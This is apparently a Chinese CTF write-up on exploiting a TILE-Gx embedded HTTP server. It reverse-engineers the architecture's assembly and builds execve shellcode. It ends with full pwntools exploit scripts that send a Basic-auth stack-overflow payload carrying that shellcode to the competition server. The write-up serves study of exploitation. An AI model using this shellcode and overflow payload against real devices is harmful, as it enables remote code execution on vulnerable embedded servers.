### 学习汇编
找不到写这个架构汇编的资料时，可以使用`objdump`的反编译功能，直接学习输出的汇编，这里可以使用`tilegx-linux-objdump`对libc.so和httpd进行反编译：
```c$ tilegx-linux-objdump -d ./lib/libc.so.6 > libc.asm$ tilegx-linux-objdump -d ./httpd > httpd.asm```
然后相面得到的结果：
> httpd.asm
``` 10016a8:	180fffe051483000 	{ movei r0, -1 } 10016b0:	200004d3d1483000 	{ jal 10063e8 <exit@plt> }```
> libc.asm
```c
00000000000eeb68 <_exit>:   eeb68:	2863bec010000fc1 	{ moveli r1, 0 ; st sp, lr }   eeb70:	283bf81bc01c0db6 	{ addi sp, sp, -64 ; move lr, r0 }   eeb78:	180986ce40138d9d 	{ addi r29, sp, 56 ; addi r28, sp, 48 }   eeb80:	c79906cd05d28d9b 	{ addi r27, sp, 40 ; addi r26, sp, 32 ; st r29, r51 }   eeb88:	c797038e05ce075d 	{ addi r29, r29, -32 ; addi r28, r28, -32 ; st r28, r50 }   eeb90:	2863136010013ff3 	{ moveli r51, 19 ; st r27, r34 }   eeb98:	df0e400005ae06db 	{ addi r27, r27, -32 ; st r26, r33 }   eeba0:	286303a0711a8cf3 	{ shl16insli r51, r51, 4520 ; st r29, r32 }   eeba8:	2862fb8070258040 	{ shl16insli r0, r1, 600 ; st r28, r31 }   eebb0:	def6701905b5efdf 	{ movei r31, 94 ; lnk r50 ; st r27, r30 }   eebb8:	180aefef500f2cf3 	{ add r51, r51, r50 ; movei r30, 93 }   eebc0:	283bfbe5500c0cc0 	{ add r0, r51, r0 ; move r10, r31 }   eebc8:	286ae80051483000 	{ ld r0, r0 }   eebd0:	283bfee0500c0d60 	{ add r32, tp, r0 ; move r0, lr }   eebd8:	286b180051485000 	{ swint1 } 
00000000000eec48 <execve>:   eec48:	0006efe5401f0db6 	{ addi sp, sp, -16 ; moveli r10, 221 }   eec50:	180846ced1483000 	{ addi r29, sp, 8 }   eec58:	28639ba010013ff3 	{ moveli r51, 19 ; st r29, r51 }   eec60:	286396c0710f0cf3 	{ shl16insli r51, r51, 4336 ; st sp, r50 }   eec68:	286af01951483000 	{ lnk r50 }   eec70:	28079679d1483000 	{ add r51, r51, r50 }   eec78:	286b180051485000 	{ swint1 }   eec80:	181000005107f043 	{ move r3, r1 ; addxi r0, r0, 0 }   eec88:	17c00061d1483000 	{ bnez r3, eeca0 <execve+0x58> }   eec90:	9f96400007608d9d 	{ addi r29, sp, 8 ; ld r50, sp }   eec98:	9f9e66e005d10db6 	{ addi sp, sp, 16 ; jrp lr ; ld r51, r29 }   eeca0:	180fffe010000fc1 	{ moveli r1, 0 ; movei r0, -1 }   eeca8:	3812c020d1483000 	{ shl16insli r1, r1, 600 }   eecb0:	28060e60d1483000 	{ add r1, r51, r1 }   eecb8:	286ae820d1483000 	{ ld r1, r1 }   eecc0:	28060ea0d1483000 	{ add r1, tp, r1 }   eecc8:	de1e4000301c3000 	{ st4 r1, r3 }   eecd0:	27fffffc51483000 	{ j eec90 <execve+0x48> }```
基本能分析出：
- 函数调用以及系统调用传递参数的寄存器是：r0,r1,r2- 系统调用号使用r10寄存器进行传递- st和ld应该分别是存数和取数操作- movei可以讲立即数赋值给寄存器- swint1是系统调用指令- 系统调用号和arm64、riscv64的linux一致，execve为221，exit为93、94
学到这基本就能写shellcode了，系统调用号参考：
- [Linux System Call Table: arm64-64_bit](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#arm64-64_bit)
如果还想更细致的了解可以寻找指令手册，比较难找，也不太清晰：
- [tile-gx instruction set architecture](https://studylib.net/doc/18755547/tile-gx-instruction-set-architecture)
还可以找gdb、qemu等代码：
> qemu-5.2.0/target/tilegx/opcode_tilegx.h  > qemu-5.2.0/target/tilegx/translate.c
不过这些都不太清晰，最清晰的是那个linux的IDA插件，看起来基本就是速查表：
- [https://github.com/Cisco-Talos/ida_tilegx/blob/master/ins.cpp](https://github.com/Cisco-Talos/ida_tilegx/blob/master/ins.cpp)
```c{"st",                 CF_USE1 | CF_USE2},           //Store{"st1",                CF_USE1 | CF_USE2},           //Store byte{"st1_add",            CF_USE1 | CF_USE2 | CF_USE3}, //Store byte and add{"st2",                CF_USE1 | CF_USE2},           //Store two bytes{"st2_add",            CF_USE1 | CF_USE2 | CF_USE3}, //Store two bytes and add{"st4",                CF_USE1 | CF_USE2},           //Store four bytes```
这里我们来写一个`exit(3)`的程序：
```s.global _start    .text_start:     movei r0, 3     movei r10, 93     swint1```
使用网上下载的交叉编译工具编译，编译时使用`-nostdlib`，然后使用strace跟踪qemu运行：
```s➜ cat test.s .global _start    .text_start:     movei r0, 3     movei r10, 93     swint1➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜ strace qemu-tilegx ./test 2>&1 | tail                                          rt_sigaction(SIGRT_29, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0rt_sigaction(SIGRT_29, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0rt_sigaction(SIGRT_30, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0rt_sigaction(SIGRT_30, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0rt_sigaction(SIGRT_31, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0rt_sigaction(SIGRT_31, {sa_handler=0x5652992f63e0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f092c72d3c0}, NULL, 8) = 0mprotect(0x56529b5d6000, 4096, PROT_NONE) = 0rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = 0exit_group(3)                           = ?+++ exited with 3 +++```
成功执行`exit(3)`
### shellcode
接下来写真正的shellcode
#### 比赛shellcode
> 比赛时写的shellcode比较垃圾
```s .global _start    .text_start:        movei r1,0        movei r2,0
        movei r3,0x2f        addi sp, sp, -16        st1 sp,r
        movei r3,0x72        addi sp,sp,1        st1 sp,r3
        movei r3,0x65        addi sp,sp,1        st1 sp,r3
        movei r3,0x61        addi sp,sp,1        st1 sp,r3         movei r3,0x64        addi sp,sp,1        st1 sp,r3         movei r3,0x66        addi sp,sp,1        st1 sp,r3
        movei r3,0x6c        addi sp,sp,1        st1 sp,r3
        movei r3,0x61        addi sp,sp,1        st1 sp,r3
        movei r3,0x67        addi sp,sp,1        st1 sp,r3
        movei r3,0x00        addi sp,sp,1        st1 sp,r3
        addi sp,sp,-9        addi r0, sp, 0
        moveli r10,221
        addi sp, sp, -32        addi r1, sp, 0
        st sp,r0        addi sp, sp, 8        addi r7, sp, 16        st sp,r7
        addi sp, sp, 8        st sp,r2         addi sp, sp, 8        movei r3,0x2f        st1 sp,r3        addi sp,sp,1
        movei r3,0x66        st1 sp,r3        addi sp,sp,1
        movei r3,0x6c        st1 sp,r3        addi sp,sp,1
        movei r3,0x61        st1 sp,r3        addi sp,sp,1
        movei r3,0x67        st1 sp,r3        addi sp,sp,1
        movei r3,0x00        st1 sp,r3        addi sp,sp,1
#       ld r2,r2        swint1```
比赛时使用的centos上yum安装的交叉编译工具，然后是分步编译的：
```python[root@VM-8-11-centos ~]$ tile-linux-gnu-gcc shellcode.s -c [root@VM-8-11-centos ~]$ tile-linux-gnu-ld shellcode.o -o shellcode[root@VM-8-11-centos ~]$ tile-linux-gnu-objcopy -O binary --only-section=.text shellcode  shellcode.text```
#### 赛后shellcode
也能看出上面的shellcode的主要问题就是把"/readflag"，"/flag"这种串扔进内存里，并且获得他们的地址，之前看arm的shellcode，可以这么写：
> [armv5l 稳定 shellcode：shell reverse tcp (Null free)](https://xuanxuanblingbling.github.io/ctf/pwn/2021/06/17/arm/)
```c/* Execute shell */
	adr     r0, spawn	eor     r2, r2, r2	strb    r2, [r0, #7]	push    {r0, r2}	mov     r1, sp	mov     r7, #11	svc     #1
/*  adjust address */	eor     r7, r7, r7
spawn:	.ascii "/bin/shA"```
但是我类似这么尝试，先打印一个helloworld，失败了：
```c.global _start    .text_start:     movei r0, 1     movei r1, hello     movei r2, 12     movei r10, 64     swint1hello:     .ascii "hello world"```
```c➜  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib/tmp/ccSLVUUj.o: In function `_start':(.text+0x8): relocation truncated to fit: R_TILEGX_IMM8_X1 against `.text'collect2: error: ld returned 1 exit status```
于是比赛时就放弃了这种方法转而使用，以上的方法，赛后参考老外的exp:[v02-pwnit.py](https://github.com/mephi42/ctf/blob/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/v02-pwnit.py)，发现原来这里和arm不一样，需要的是一个绝对地址。所以按照这个方法继续helloworld：
```c.global _start    .text_start:     lnk r14base:     movei r0, 1     addi  r1, r14, (hello-base)     movei r2, 12     movei r10, 64     swint1hello:     .ascii "hello world"```
然后执行，发现成功打印helloworld，不过因为后面没有退出代码，所以会死无全尸：
```c➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜  qemu-tilegx ./test                                                             hello world[1]    563786 segmentation fault (core dumped)  qemu-tilegx ./test\```
现在可以写一个`execve("/bin/sh",0,0)`的：
```c.global _start    .text_start:     lnk r14base:     addi   r0, r14, (shell - base)      movei  r1,0     movei  r2,0     moveli r10, 221     swint1shell:     .ascii "/bin/sh"```
成功：
```c                                                        ➜  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜  qemu-tilegx ./test                                                             $ lsgcc-7.3.0-nolibc  test  test.s$ ```
再写一个`execve("/bin/sh",["/bin/sh",0],0)`的：
```c.global _start    .text_start:     lnk r14base:     addi   r0, r14, (shell - base)
     addi   sp, sp, -16     st     sp, r0     addi   sp, sp, 8     st     sp, zero     addi   r1, sp, -8
     movei  r2,0     moveli r10, 221     swint1shell:     .ascii "/bin/sh"```
继续成功：
```c                                                        ➜  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜  qemu-tilegx ./test                                                             $ lsgcc-7.3.0-nolibc  test  test.s$ ```
写最后的`execve("/readflag",["/readflag","/flag",0],0)`的，其中的`.asciz`伪指令会在字符串后面自动加空字符：
```c.global _start    .text_start:     lnk r14base:     addi   r0, r14, (readflag - base)      addi   r1, r14, (flag - base)     addi   sp, sp, -32     st     sp, r0     addi   sp, sp, 8     st     sp, r1     addi   sp, sp, 8     st     sp, zero     addi   r1, sp, -16
     movei  r2,0     moveli r10, 221     swint1readflag:     .asciz "/readflag"flag:     .asciz "/flag"```
继续成功：
```c➜  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜  qemu-tilegx ./test                                                             flag{this_is}```
然后将shellcode提取出来：
```c➜ ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-objcopy  -O binary --only-section=.text test  shellcode.text```
不过从这里的shellcode也能看出来，如果想让tilegx的shellcode想不包含00，不加个壳应该是做不到的：
```c286b180051485000 	{ swint1 } ```
### exp
比赛exp：
```pythonfrom pwn import *import base64context(log_level='debug')shellcode  = b"\x00\x30\x48\xd1\xe0\x07\x08\x18\x00\x30\x48\x51\xe1\x07\x08\x18\x00\x30\x48\xd1\xe1\x7f\x09\x18\x00\x30\x48\x51\xdb\x86\x0f\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x97\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\xd1\xe1\x2f\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x0f\x0b\x18"shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x27\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x37\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\xd1\xe1\x67\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x0f\x0b\x18"shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x3f\x0b\x18\x00\x30\x48\x51\xdb\x0e\x08\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\xd1\xe1\x07\x08\x18\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\x51\xdb\xbe\x0f\x18\x00\x30\x48\x51\xc0\x06\x08\x18\x00\x30\x48\x51\xe5\xef\x06\x00\x00\x30\x48\x51\xdb\x06\x0f\x18"shellcode += b"\x00\x30\x48\xd1\xc0\x06\x08\x18\x00\x30\x6c\x37\x00\x40\x06\xde\x00\x30\x48\x51\xdb\x46\x08\x18\x00\x30\x48\xd1\xc3\x86\x08\x18"shellcode += b"\x00\x30\x6c\x37\x00\x40\x3e\xde\x00\x30\x48\x51\xdb\x46\x08\x18\x00\x30\x6c\x37\x00\x40\x16\xde\x00\x30\x48\x51\xdb\x46\x08\x18"shellcode += b"\x00\x30\x48\xd1\xe1\x7f\x09\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x37\x0b\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x67\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc"shellcode += b"\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x0f\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18"shellcode += b"\x00\x30\x48\xd1\xe1\x3f\x0b\x18\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x30\x48\xd1\xe1\x07\x08\x18"shellcode += b"\x00\x30\x6c\x33\x00\x40\x1e\xdc\x00\x30\x48\x51\xdb\x0e\x08\x18\x00\x50\x48\x51\x00\x18\x6b\x28"
payload = b'admin:a0p_s3cr37_!@#'*7+b'admin:70p_s3cr37_!@#'+b'123'+p64(0x10211e8)+b'\x00xuanxua\x00yuanyuaaaaaa'+b'a'*8+shellcodepayload = base64.b64encode(payload)
http =  b"GET / HTTP/1.1\n"http += b"Host: 111.186.59.27:28088\n"http += b"Cache-Control: max-age=0\n"http += b"Authorization: Basic "+payload+b'\n';http += b"Upgrade-Insecure-Requests: 1\n"http += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n"http += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n"http += b"Accept-Encoding: gzip, deflate\n"http += b"Accept-Language: zh-CN,zh;q=0.9\n"http += b"Connection: close\n\n"io = remote("111.186.59.27",28088)io.send(http)io.interactive()```
赛后shellcode精简版exp：
```pythonfrom pwn import *import base64context(log_level='debug')
shellcode  = b'\x00\x30\x48\x51\x07\xF0\x6A\x28\x00\x30\x48\x51\xC0\x01\x0B\x18'shellcode += b'\x00\x30\x48\xD1\xC0\x51\x0B\x18\x00\x30\x48\x51\xDB\x06\x0F\x18'shellcode += b'\x00\x30\x6C\x37\x00\x40\x06\xDE\x00\x30\x48\x51\xDB\x46\x08\x18'shellcode += b'\x00\x30\x6C\x37\x00\x40\x0E\xDE\x00\x30\x48\x51\xDB\x46\x08\x18'shellcode += b'\x00\x30\x6C\x37\x00\x40\xFE\xDF\x00\x30\x48\xD1\xC0\x86\x0F\x18'shellcode += b'\x00\x30\x48\x51\xE1\x07\x08\x18\x00\x30\x48\x51\xE5\xEF\x06\x00'shellcode += b'\x00\x50\x48\x51\x00\x18\x6B\x28\x2F\x72\x65\x61\x64\x66\x6C\x61'shellcode += b'\x67\x00\x2F\x66\x6C\x61\x67\x00'
payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0x1020990)+b'aaaaa'+shellcodepayload = base64.b64encode(payload)
http =  b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
```python➜  python3 exp.py[+] Opening connection to 111.186.59.27 on port 28088: Done[*] Switching to interactive modeflag{rop_on_t1111111le-gx_is_funny_27b7d3}
[*] Got EOF while reading in interactive```
从flag含义可见，出题人希望我们用ROP来解，不过因为qemu特性，shellcode最好使。
## 总结
本次前期的调试准备工作做得还算不错，也证明了对于漏洞比较简单的题目来说：**运行 > 调试 > 编译 > 逆向**。
- 首先得能运行- 其次是可调试- 然后可以编译shellcode- 要不要逆向看题目难度了
还有就是也证明了挖洞和逆向的确是我自己的薄弱点，AFL我也不会用。有缘遇到再学吧。另外仍然是小米那篇里的感受：写文章的思路虽然是顺着的，但是比赛是的却是东一榔头西一棒子，一会编一下qemu，一会编一下gdb的。不过也是在各种各样的尝试中有所突破，找到了可以继续往下走的路。不过策略肯定是**首先解决调试问题**，再说其他的。再次梳理做题过程如下：
1. 首先编译了这个架构的gdb客户端，然后qemu没有实现这个架构的gdb桩，照着其他架构糊了一个类似能读写内存和寄存器的调试，断点功能没有实现，不过可以通过直接对目标代码插入非法指令或者内存错误的指令完成断点附近的状态查看。
2. 然后就是希望找到这个东西的交叉编译工具链，没有找到可用的，但是发现centos上提供了这个包，所以直接yum就有了这个东西的gcc以及objdump objcopy啥的，于是可以反编译以及编译shellcode了。老外开发了这个架构的ida插件，不过仅仅适配了linux的ida，并没有资源，所以直接放弃逆向，直奔调试。
3. 这个httpserver存在basic认证，iot的basic认证经常出现栈溢出，因为在base64解码时，经常调用的解码函数并没有对输出位置的长度进行限制，导致出现缓冲区溢出，瞎发包果然测出来可以控制流劫持，并不知道怎么绕过的canary。
4. qemu-user是docker里ubuntu 20.04 直接install的，没有patch，故原生的qemu不支持NX，故shellcode一把梭应该就行，在堆上找到了base64解码后的数据，故shellcode不必考虑00，堆地址在同一个环境下是固定的，给了docker，换掉其中的qemu为刚才编译的可以调试的qemu，直接开调即可。
5. dockerfile里限制了ctf用户不可执行/bin/sh，所以shellcode的功能是`execve("/readflag",["/readflag","/flag",0],0)`，shellcode可以把libc用objdump反编译，然后照着execve抄，看看语法和寄存器啥的，系统调用号和arm64的linux一样，然后写shellcode即可。
